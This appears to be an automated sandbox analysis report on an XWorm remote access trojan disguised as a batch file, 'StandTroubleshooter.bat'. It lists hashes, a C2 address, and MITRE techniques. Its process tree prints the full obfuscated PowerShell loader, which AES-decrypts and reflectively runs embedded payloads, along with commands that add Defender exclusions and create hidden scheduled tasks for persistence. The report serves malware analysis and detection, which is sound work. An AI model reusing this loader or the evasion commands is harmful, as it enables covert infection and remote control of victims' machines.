xworm | e9edb1e8c21d65b5ff4210554de3123bc694bb1e8fd0581870654ed0dba33645

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
01/06/2024, 02:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
StandTroubleshooter.bat
Size 416KB
Sample240601-dal6mafc5x
SHA256 e9edb1e8c21d65b5ff4210554de3123bc694bb1e8fd0581870654ed0dba33645
MD5 46e6dd09d1a2ff05a3c8ad72013d8b14
SHA1 06119e12af61cb1715db2312bd332dcc66c4b263
SHA512 62a93c92175831c990430def2dd439b1dcc84efeb998292a1860668576c31dc32bd782ccc9cbb42c129b0ee0c5a59a19022929b228a4c895d717e7cdb4158c92
SSDEEP 12288:PjYGFLC6Vrgl1/Qro/uU9w3I4WTVzuRkaKq:PVo/SNYdm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:57023
Name1442-57023.portmap.host:57023

Attributes

Install_directory
%Temp%
install_file
Stand.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4544-142-0x000002452F840000-0x000002452F860000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 9 IoCs

flow	pid	Process
2	4544	powershell.exe
3	4544	powershell.exe
5	4544	powershell.exe
6	4544	powershell.exe
11	4544	powershell.exe
15	4544	powershell.exe
16	4544	powershell.exe
18	4544	powershell.exe
19	4544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4824	powershell.exe
4544	powershell.exe
864	powershell.exe
2124	powershell.exe
2304	powershell.exe
2536	powershell.exe
2524	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stand.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
532	Stand.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000\Software\Microsoft\Windows\CurrentVersion\Run\Stand = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Stand.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Stand	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4612	schtasks.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2457560273-69882387-977367775-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4544	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
864	powershell.exe
864	powershell.exe
4824	powershell.exe
4824	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
2124	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
2124	powershell.exe
2304	powershell.exe
2304	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
2536	powershell.exe
2536	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
2524	powershell.exe
2524	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeIncreaseQuotaPrivilege	4824	powershell.exe
Token: SeSecurityPrivilege	4824	powershell.exe
Token: SeTakeOwnershipPrivilege	4824	powershell.exe
Token: SeLoadDriverPrivilege	4824	powershell.exe
Token: SeSystemProfilePrivilege	4824	powershell.exe
Token: SeSystemtimePrivilege	4824	powershell.exe
Token: SeProfSingleProcessPrivilege	4824	powershell.exe
Token: SeIncBasePriorityPrivilege	4824	powershell.exe
Token: SeCreatePagefilePrivilege	4824	powershell.exe
Token: SeBackupPrivilege	4824	powershell.exe
Token: SeRestorePrivilege	4824	powershell.exe
Token: SeShutdownPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeSystemEnvironmentPrivilege	4824	powershell.exe
Token: SeRemoteShutdownPrivilege	4824	powershell.exe
Token: SeUndockPrivilege	4824	powershell.exe
Token: SeManageVolumePrivilege	4824	powershell.exe
Token: 33	4824	powershell.exe
Token: 34	4824	powershell.exe
Token: 35	4824	powershell.exe
Token: 36	4824	powershell.exe
Token: SeIncreaseQuotaPrivilege	4824	powershell.exe
Token: SeSecurityPrivilege	4824	powershell.exe
Token: SeTakeOwnershipPrivilege	4824	powershell.exe
Token: SeLoadDriverPrivilege	4824	powershell.exe
Token: SeSystemProfilePrivilege	4824	powershell.exe
Token: SeSystemtimePrivilege	4824	powershell.exe
Token: SeProfSingleProcessPrivilege	4824	powershell.exe
Token: SeIncBasePriorityPrivilege	4824	powershell.exe
Token: SeCreatePagefilePrivilege	4824	powershell.exe
Token: SeBackupPrivilege	4824	powershell.exe
Token: SeRestorePrivilege	4824	powershell.exe
Token: SeShutdownPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeSystemEnvironmentPrivilege	4824	powershell.exe
Token: SeRemoteShutdownPrivilege	4824	powershell.exe
Token: SeUndockPrivilege	4824	powershell.exe
Token: SeManageVolumePrivilege	4824	powershell.exe
Token: 33	4824	powershell.exe
Token: 34	4824	powershell.exe
Token: 35	4824	powershell.exe
Token: 36	4824	powershell.exe
Token: SeIncreaseQuotaPrivilege	4824	powershell.exe
Token: SeSecurityPrivilege	4824	powershell.exe
Token: SeTakeOwnershipPrivilege	4824	powershell.exe
Token: SeLoadDriverPrivilege	4824	powershell.exe
Token: SeSystemProfilePrivilege	4824	powershell.exe
Token: SeSystemtimePrivilege	4824	powershell.exe
Token: SeProfSingleProcessPrivilege	4824	powershell.exe
Token: SeIncBasePriorityPrivilege	4824	powershell.exe
Token: SeCreatePagefilePrivilege	4824	powershell.exe
Token: SeBackupPrivilege	4824	powershell.exe
Token: SeRestorePrivilege	4824	powershell.exe
Token: SeShutdownPrivilege	4824	powershell.exe
Token: SeDebugPrivilege	4824	powershell.exe
Token: SeSystemEnvironmentPrivilege	4824	powershell.exe
Token: SeRemoteShutdownPrivilege	4824	powershell.exe
Token: SeUndockPrivilege	4824	powershell.exe
Token: SeManageVolumePrivilege	4824	powershell.exe
Token: 33	4824	powershell.exe
Token: 34	4824	powershell.exe
Token: 35	4824	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4544	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 2024	1892	cmd.exe	78
PID 1892 wrote to memory of 2024	1892	cmd.exe	78
PID 1892 wrote to memory of 864	1892	cmd.exe	79
PID 1892 wrote to memory of 864	1892	cmd.exe	79
PID 864 wrote to memory of 4824	864	powershell.exe	80
PID 864 wrote to memory of 4824	864	powershell.exe	80
PID 864 wrote to memory of 3896	864	powershell.exe	83
PID 864 wrote to memory of 3896	864	powershell.exe	83
PID 3896 wrote to memory of 3384	3896	WScript.exe	84
PID 3896 wrote to memory of 3384	3896	WScript.exe	84
PID 3384 wrote to memory of 3936	3384	cmd.exe	86
PID 3384 wrote to memory of 3936	3384	cmd.exe	86
PID 3384 wrote to memory of 4544	3384	cmd.exe	87
PID 3384 wrote to memory of 4544	3384	cmd.exe	87
PID 4544 wrote to memory of 3240	4544	powershell.exe	52
PID 4544 wrote to memory of 1180	4544	powershell.exe	20
PID 4544 wrote to memory of 2256	4544	powershell.exe	39
PID 4544 wrote to memory of 980	4544	powershell.exe	12
PID 4544 wrote to memory of 1752	4544	powershell.exe	35
PID 4544 wrote to memory of 2496	4544	powershell.exe	41
PID 4544 wrote to memory of 2728	4544	powershell.exe	47
PID 4544 wrote to memory of 2684	4544	powershell.exe	46
PID 4544 wrote to memory of 2736	4544	powershell.exe	48
PID 4544 wrote to memory of 1720	4544	powershell.exe	30
PID 4544 wrote to memory of 1128	4544	powershell.exe	19
PID 4544 wrote to memory of 2504	4544	powershell.exe	42
PID 4544 wrote to memory of 476	4544	powershell.exe	14
PID 4544 wrote to memory of 1408	4544	powershell.exe	25
PID 4544 wrote to memory of 924	4544	powershell.exe	11
PID 4544 wrote to memory of 1908	4544	powershell.exe	36
PID 4544 wrote to memory of 1512	4544	powershell.exe	27
PID 4544 wrote to memory of 1848	4544	powershell.exe	31
PID 4544 wrote to memory of 5052	4544	powershell.exe	64
PID 4544 wrote to memory of 1700	4544	powershell.exe	29
PID 4544 wrote to memory of 3472	4544	powershell.exe	54
PID 4544 wrote to memory of 1060	4544	powershell.exe	17
PID 4544 wrote to memory of 1096	4544	powershell.exe	18
PID 4544 wrote to memory of 4392	4544	powershell.exe	62
PID 4544 wrote to memory of 1284	4544	powershell.exe	23
PID 4544 wrote to memory of 1480	4544	powershell.exe	26
PID 4544 wrote to memory of 2856	4544	powershell.exe	50
PID 4544 wrote to memory of 2656	4544	powershell.exe	45
PID 4544 wrote to memory of 1668	4544	powershell.exe	28
PID 4544 wrote to memory of 4024	4544	powershell.exe	60
PID 4544 wrote to memory of 1856	4544	powershell.exe	32
PID 4544 wrote to memory of 1264	4544	powershell.exe	22
PID 4544 wrote to memory of 1000	4544	powershell.exe	69
PID 4544 wrote to memory of 860	4544	powershell.exe	16
PID 4544 wrote to memory of 460	4544	powershell.exe	15
PID 4544 wrote to memory of 3412	4544	powershell.exe	53
PID 4544 wrote to memory of 2028	4544	powershell.exe	34
PID 4544 wrote to memory of 1828	4544	powershell.exe	67
PID 4544 wrote to memory of 1236	4544	powershell.exe	21
PID 4544 wrote to memory of 2412	4544	powershell.exe	72
PID 4544 wrote to memory of 2016	4544	powershell.exe	33
PID 4544 wrote to memory of 2192	4544	powershell.exe	38
PID 4544 wrote to memory of 2380	4544	powershell.exe	40
PID 4544 wrote to memory of 800	4544	powershell.exe	8
PID 4544 wrote to memory of 996	4544	powershell.exe	65
PID 4544 wrote to memory of 1376	4544	powershell.exe	24
PID 4544 wrote to memory of 2564	4544	powershell.exe	43
PID 4544 wrote to memory of 2124	4544	powershell.exe	88
PID 4544 wrote to memory of 2124	4544	powershell.exe	88
PID 4544 wrote to memory of 2304	4544	powershell.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:460

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1128
- C:\Users\Admin\AppData\Local\Temp\Stand.exe
  C:\Users\Admin\AppData\Local\Temp\Stand.exe
  2⤵
  - Executes dropped EXE
  PID:532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1236

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1284

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2856

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\StandTroubleshooter.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('f7TP8yxTLKn1TLFKtOwUXpuBVzmoytRSROUssgWef9A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qsx6rPljcsjvyvk6DnOv+A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kIBRL=New-Object System.IO.MemoryStream(,$param_var); $eAmii=New-Object System.IO.MemoryStream; $QXkBG=New-Object System.IO.Compression.GZipStream($kIBRL, [IO.Compression.CompressionMode]::Decompress); $QXkBG.CopyTo($eAmii); $QXkBG.Dispose(); $kIBRL.Dispose(); $eAmii.Dispose(); $eAmii.ToArray();}function execute_function($param_var,$param2_var){ $XphgT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sUQJj=$XphgT.EntryPoint; $sUQJj.Invoke($null, $param2_var);}$IzHgO = 'C:\Users\Admin\AppData\Local\Temp\StandTroubleshooter.bat';$host.UI.RawUI.WindowTitle = $IzHgO;$MoSpj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IzHgO).Split([Environment]::NewLine);foreach ($ufUTI in $MoSpj) { if ($ufUTI.StartsWith('ZxkmUAHVOrWyzvTxAuPQ')) { $AQRZo=$ufUTI.Substring(20); break; }}$payloads_var=[string[]]$AQRZo.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_689_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_689.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4824
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_689.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3896
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_689.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3384
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('f7TP8yxTLKn1TLFKtOwUXpuBVzmoytRSROUssgWef9A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qsx6rPljcsjvyvk6DnOv+A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kIBRL=New-Object System.IO.MemoryStream(,$param_var); $eAmii=New-Object System.IO.MemoryStream; $QXkBG=New-Object System.IO.Compression.GZipStream($kIBRL, [IO.Compression.CompressionMode]::Decompress); $QXkBG.CopyTo($eAmii); $QXkBG.Dispose(); $kIBRL.Dispose(); $eAmii.Dispose(); $eAmii.ToArray();}function execute_function($param_var,$param2_var){ $XphgT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sUQJj=$XphgT.EntryPoint; $sUQJj.Invoke($null, $param2_var);}$IzHgO = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_689.bat';$host.UI.RawUI.WindowTitle = $IzHgO;$MoSpj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IzHgO).Split([Environment]::NewLine);foreach ($ufUTI in $MoSpj) { if ($ufUTI.StartsWith('ZxkmUAHVOrWyzvTxAuPQ')) { $AQRZo=$ufUTI.Substring(20); break; }}$payloads_var=[string[]]$AQRZo.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3936
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2304
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2524
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6
MD5 df472dcddb36aa24247f8c8d8a517bd7
SHA1 6f54967355e507294cbc86662a6fbeedac9d7030
SHA512 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
MD5 e566632d8956997225be604d026c9b39
SHA1 94a9aade75fffc63ed71404b630eca41d3ce130e
SHA512 f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
SSDEEP 1536:LflJdDiFHzdytYLYkzvHgfKQNUpeE711kDa5ljNC+jH0IM5MXYo3Xi3j39MVvjB8:LflJdWFHzd6YLYkzvHgfKQNUpeE711kz
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5
MD5 3ec0d76d886b2f4b9f1e3da7ce9e2cd7
SHA1 68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea
SHA512 a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cb0bff45abfcccadc000e77840ccf5004ae4197a8d98baab877e6e9c238bba0c
MD5 f65feb0fbbd0fcb9da91d117a38e4f31
SHA1 95b1256dd050df6d555a4d06d4dc7ac542b6a070
SHA512 0715ba19e75a60eeb6cf98f4bc80980f1f1e681bd69d3ce242bf1c50787b82eb99064de0c0753c4259dcc8837a65ac2b7c84b3c1f114200cb252c05e448b1776
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

